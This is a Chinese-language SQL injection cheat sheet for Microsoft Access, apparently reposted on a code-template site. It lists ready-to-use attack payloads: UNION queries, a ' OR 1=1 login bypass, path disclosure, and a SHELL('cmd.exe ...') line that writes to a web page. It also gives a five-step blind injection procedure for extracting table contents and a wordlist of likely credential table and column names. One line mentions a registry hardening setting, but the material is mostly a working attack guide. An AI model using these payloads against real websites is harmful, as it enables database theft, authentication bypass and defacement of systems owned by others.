| [b]Access SQL注入参考[/b] [b]版本 0.2.1 (最近更新 10/10/2007) 原作者不详[/b] | |||||||||||||
| [b]描述[/b] | [b]SQL查询及注释[/b] | ||||||||||||
| [i][b]注释符[/b][/i] | Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替: [list] [*] [b]' UNION SELECT 1,1,1 FROM validTableName[/b] [/*][/list] | ||||||||||||
| [i][b]语法错误信息[/b][/i] | "[Microsoft][Driver ODBC Microsoft Access]" | ||||||||||||
| [i][b]多句执行[/b][/i] | 不支持. | ||||||||||||
| [i][b]联合查询[/b][/i] | Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名. | ||||||||||||
| [i][b]附属查询[/b][/i] | Access支持附属查询(例如:[i][b]"TOP 1"[/b][/i]用来返回第一行的内容) : [list] [*][b]' AND (SELECT TOP 1 'someData' FROM validTableName)[/b] [/*][/list] | ||||||||||||
| [i][b]LIMIT支持[/b][/i] | LIMIT不被支持,但是在查询中可以声明[b][i]"TOP N"[/i][/b]来限制返回内容的行数: [list] [*][b]' UNION SELECT TOP 3 AttrName FROM validTableName[/b] : 这条语句返回(前)3 行. [/*][/list] | ||||||||||||
| [i][b]让查询返回0行[/b][/i] | 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用: [list] [*][b]' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName[/b] [/*][/list] | ||||||||||||
| [i][b]字符串连接[/b][/i] | 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码: [list] [*] [b]' UNION SELECT 'web' %2b 'app' FROM validTableName [/b]: 返回"webapp" [/*][*][b]' UNION SELECT 'web' %26 'app' FROM validTableName [/b]: 返回"webapp" [/*][/list] | ||||||||||||
| [i][b]子字符串[/b][/i] | MID()函数: [list] [*][b]' UNION SELECT MID('abcd',1,1) FROM validTableName [/b]: 返回 "a" [/*][*][b]' UNION SELECT MID('abcd',2,1) FROM validTableName [/b]: 返回 "b" [/*][/list] | ||||||||||||
| [i][b]字符串长度[/b][/i] | LEN()函数: [list] [*][b]' UNION SELECT LEN('1234') FROM validTableName [/b]: 返回 4 [/*][/list] | ||||||||||||
| [i][b]暴WEB路径[/b][/i] | 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.: [list] [*][b]' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable[/b] [/*][/list] | ||||||||||||
| [b][i]取字符的ASCII值[/i][/b] | ASC()函数: [list] [*][b]' UNION SELECT ASC('A') FROM ValidTable[/b] :返回65 ('A'的ASCII值) [/*][/list] | ||||||||||||
| [i][b]ASCII值转换为字符[/b][/i] | CHR()函数: [list] [*][b]' UNION SELECT CHR(65) FROM validTableName [/b]: 返回 'A' [/*][/list] | ||||||||||||
| [i][b]IF语句[/b][/i] | 可以使用IIF()函数. 语法 : IIF(condition, true, false) : [list] [*][b]' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName[/b] : 返回 'a' [/*][/list] | ||||||||||||
| [i][b]时间接口[/b][/i] | 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.[b][url=http://www.microsoft.com/technet/community/columns/secmvp/sv0907.mspx][u]点击这里查看参考[/u][/url][/b]. | ||||||||||||
| [i][b]验证文件是否存在[/b][/i] | 在注入的时候使用: [list] [*] [b]' UNION SELECT name FROM msysobjects IN '\boot.ini' [/b]: (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized. [/*][/list] | ||||||||||||
| [i][b]表名猜解[/b][/i] | 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:
[center]
[i][b]bruteTableName()[/b][/i]的参数是一个名为"Request"的对象(见注释0).这个例子靠[b][i]sendInjection()[/i][/b] (见注释2)尝试检测查询:
[list]
[*][b]' UNION SELECT 1 FROM table[i][/b] [/*][/list]
[i][b]table[i][/b][/i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, [i][b]sendInjection()[/b][/i]函数返回提交注入代码后的回应html代码.如果[b][i]resp[/i][/b]包含 [i][b]columnErrorMessage[/b][/i] 字符串(见注释3),恭喜你,你找到了一个存在的表.[i][b] columnErrorMessage[/b][/i] 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.
| ||||||||||||
| [i][b]列名猜解[/b][/i] | 需要一个已知的表名和主查询的列的数目: [list] [*][b]' UNION SELECT fieldName[j],1,1,1 FROM validTableName[/b] [/*][/list] 你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息. | ||||||||||||
| [i][b]绕过登陆[/b][/i] | 用户名:[b] ' OR 1=1[/b] (or[b]" OR 1=1[/b]) 密码: (留空) | ||||||||||||
| [i][b]列名枚举[/b][/i] | [b][i]按语 [/i][i]: 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用. [/i][/b] 通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如: [list] [*][b][i]Error (...) syntax (...) query (...) : " Id=0' "[/i][/b] [/*][/list]从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名: [list] [*][b]' GROUP BY Id[/b] [/*][/list] 现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名: [list] [*][b]' GROUP BY Id, SecondAttrName, ...[/b] [/*][/list] 直到获取到所有的表名. | ||||||||||||
| [b]与操作系统的交互[/b] | |||||||||||||
| [b][i]这些函数默认不可用[/i][/b] | |||||||||||||
| [b][i]安全提示[/i][/b] | 可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...): [list] [*][b]\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode[/b] [/*][/list] 它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况. | ||||||||||||
| [b][i]获取当前目录[/i][/b] | 需要一个已知的表名和主查询的列的数目: [list] [*][b]' UNION SELECT CurDir(),1,1 FROM validTableName[/b] [/*][/list] | ||||||||||||
| [i][b]执行系统命令[/b][/i] | SHELL()函数可以用来执行系统命令: [list] [*][b]' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')[/b] [/*][/list] | ||||||||||||
| [b]Access的系统表[/b] | |||||||||||||
| [b][i]这些系统表默认不可访问[/i][/b] | |||||||||||||
| [b]MSysAccessXML[/b] | 表中包含的列: [list] [*]Id [/*][*]LValue [/*][*]ObjectGuid [/*][*]ObjectName [/*][*]Property [/*][*]Value [/*][/list] | ||||||||||||
| [b]MSysACEs[/b] | 表中包含的列: [list] [*]ACM [/*][*]FInheritable [/*][*]ObjectId [/*][*]SID [/*][/list] | ||||||||||||
| [b]MSysObjects[/b] | 这里可以获得表名: [list] [*]Connect [/*][*]Database [/*][*]DataCreate [/*][*]DataUpdate [/*][*]Flags [/*][*]ForeignName [/*][*]Id [/*][*]Lv [/*][*]LxExtra [/*][*]LvModule [/*][*]LvProp [/*][*]Name [/*][*]Owner [/*][*]ParentId [/*][*]RmtInfoLong [/*][*]RmtInfoShort [/*][*]Type [/*][/list] 这条查询可以用来获得数据库中的表名: [list] [*][b]' UNION SELECT Name FROM MSysObjects WHERE Type = 1[/b] [/*][/list] | ||||||||||||
| [b]Access盲注(这些步骤用来猜解表的内容)[/b] | |||||||||||||
| [b]第一步:猜解表名[/b] | 你可以使用下面提供的字典来猜解表名.注入查询语句: [list] [*][b]' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])[/b] [/*][/list] 在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "[b][i]AND 1[/i][/b]"对查询没有任何影响). | ||||||||||||
| [b]第二步: 猜解列名[/b] | 在指导表名的情况下,使用如下查询: [list] [*][b]' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)[/b] [/*][/list] 用和第一步同样的方法判断列是否存在. | ||||||||||||
| [b]第三步:猜解内容的行数[/b] | 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"[i][b]TAB_LEN[/b][/i]"变量: [list] [*][b]' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)[/b] [/*][/list] 这里的[i][b]"X"[/b][/i] 是大于0的任意值.可以使用老方法来判断"X"的准确值. | ||||||||||||
| [b]第四步:猜解内容的长度[/b] |
你能通过以下语句获取"[i]ATTRIB[/i]"列的第一行的内容长度:
[list]
[*]
[b]' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)[/b]
[/*][/list]
可以通过以下语句猜解到 "[i]ATTRIB[/i]"列中第二行到第[i]TAB_LEN[/i]行的内容的长度 (这里N的值在2和[i]TAB_LEN(在前面已经获得)[/i]之间) :
[list]
[*]
[b]' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)[/b]
[/*][/list]
[i]"[/i][b][i]KKK[/i][/b][i]"[/i][b][i] [/i][/b]为大于0的任意值,使用[b][i]ATTRIB<>'valueXXX'[/i][/b]的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的[i]"[b]TOP N[/b]"[/i]行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"[b][i]ATTRIB[/i][/b]"必须是主键.这里有一个例子:
[center]
可以这样获取第一行的所有内容的长度:
[list]
[*]
[b]' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
[/b]
[/*][*]
[b]' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)
[/b]
[/*][*]
[b]' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)[/b]
[/*][/list]
然后就可以这样获取第二行的内容的长度(假设[i]A1[/i]为表的主键) :
[list]
[*]
[b]' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>'1111') = KKK, 1, 0)
[/b]
[/*][*]
[b]' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)
[/b]
[/*][*]
[b]' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> '1111') = KKK, 1, 0)[/b]
[/*][/list]
第三行也一样:
[list]
[*]
[b]' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
[/b]
[/*][*]
[b]' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
[/b]
[/*][*]
[b]' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)[/b]
[/*][/list]
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后).
| ||||||||||||
| [b]第五步:猜解内容[/b] | 假设攻击者已经知道了表和列名,他将使用这样的查询: [list] [*] [b]' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2' ... etc ... ) = CHAR(YYY), 1, 0)[/b] [/*][/list] [i][b]"N"[/b][/i]是要猜解的行, [i][b]"XXX"[/b][/i]是[b][i]"ATTRIBxxx"[/i][/b]的第X个字节,[b][i]"ATT_key"[/i][/b]是表的的主键[i][b]"YYY"[/b][/i]是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容. | ||||||||||||
| 表名/列名(字典) | |||||||||||||
| [b]表名/列名(字典)[/b] | 这里是一个小的表/列名样本字典,在猜解中也许用的到: [list] [*] [i][b]account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;[/b][/i] [/*][*] [i][b]customers, customer, config, conf, cfg;[/b][/i] [/*][*] [i][b]hash;[/b][/i] [/*][*] [i][b]login, logout, loginout, log;[/b][/i] [/*][*] [i][b]member, memberid;[/b][/i] [/*][*] [i][b]password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;[/b][/i] [/*][*] [i][b]store, store1, store2, store3, store4, setting;[/b][/i] [/*][*] [i][b]username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;[/b][/i] [/*][/list] | ||||||||||||
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有